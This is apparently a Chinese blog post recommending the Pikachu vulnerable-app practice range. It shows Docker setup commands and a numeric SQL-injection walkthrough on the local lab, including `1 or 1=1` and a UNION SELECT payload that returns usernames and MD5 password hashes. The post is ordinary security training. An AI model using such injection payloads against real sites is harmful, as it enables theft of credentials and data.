靶场推荐——pikachu SQL注入示例

靶场推荐——pikachu

项目地址：

https://github.com/zhuifengshaonianhanlu/pikachu

为了方便大家使用已经push到了docker hub

使用方法：

docker pull area39/pikachu:latest
docker run -d -p 8000:80 area39/pikachu:latest

浏览器访问:localhost:8000

会显示一行红字，点击进入

在这里插入图片描述

7.由于12步我们已经全部完成，直接点击按钮即可

在这里插入图片描述

到此，整个安装过程圆满结束，开始你的Pikachu渗透之旅吧~

然后以sql注入为例：

开始我们的实验

数字型注入　　　　　　　　　　　　　　　　　　

发现有一个下拉框，随便选一个查询，，并没有在url里面去传参，可以发现是用post（表单）方式提交的

根据上图yy一下后台的逻辑：

$id = $_POST['id']

select 字段1，字段2 from 表名 where id = $id　　

正常情况下这里的$id值为（1~6），我们换成 1 or 1=1通过返回来看看后台会不会把这个逻辑去执行。

POST的请求我们需要抓包来测试，因为输入框只有一个可选择的表单，没法直接构造语句

在输入框选择id，浏览器设置代理，提交，抓包，为了方便发送给Repeater模块

根据刚才的逻辑，payload为：

可以发现除啦id=1的其他id也都返回出来啦

我自己的注入payload是：

id=6 union select password,username from users&submit=%E6%9F%A5%E8%AF%A2

返回：
hello,lucy
your email is: lucy@pikachu.com

hello,e10adc3949ba59abbe56e057f20f883e
your email is: admin

hello,670b14728ad9902aecba32e22fa4f6bd
your email is: pikachu

hello,e99a18c428cb38d5f260853678922e03
your email is: test

Pikachu上的漏洞类型列表如下：